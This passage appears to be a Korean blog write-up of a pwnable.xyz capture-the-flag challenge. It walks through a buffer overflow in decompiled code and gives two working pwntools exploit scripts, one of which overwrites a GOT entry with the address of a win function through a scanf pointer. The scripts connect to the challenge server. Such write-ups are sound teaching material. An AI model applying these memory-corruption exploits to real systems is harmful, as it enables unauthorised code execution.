payload += "\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3"

r.sendlineafter("> ", "1")
r.sendlineafter("name: ", payload)
r.sendlineafter("> ", "4")	

r.interactive()

 

 

성공이다. 이제 두 번째 target을 찾아보자.

 

[main 중]

 __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }

 

이 부분을 자세히 보면 v6의 크기는 0x10byte이지만 입력은 0x18byte를 받을 수 있어서 v7까지 덮을 수 있는데 age를 입력받는 부분에서 v7에 정수를 입력받을 수 있게 되어있다.

 

v6에 0x10만큼의 dummy값을 씌우고 v7에 got를 덮어주면 되는데 여기서 "%d"로 age에 입력을 받기 때문에 4byte만 덮을 수 있다. 그러므로 한번도 호출되지 않은 함수를 사용해야 된다. 한번이라도 호출 된 함수는 0x7fff... 이런식으로 6byte가 채워져 있어서 사용이 불가능하다. strcmp의 got를 덮어주고 age에서 win의 주소를 넣어주면 된다~!

 

from pwn import *

r = remote('svc.pwnable.xyz', 30031)

win_add = int(0x40099c)
strncmp_got = 0x603018

payload = ''
payload += "A"*0x10 + p64(strncmp_got)

r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", payload)
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(win_add))
r.sendlineafter("> ", "4")

r.interactive()

 

 

두 번째도 성공이다.

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25

+ Recent posts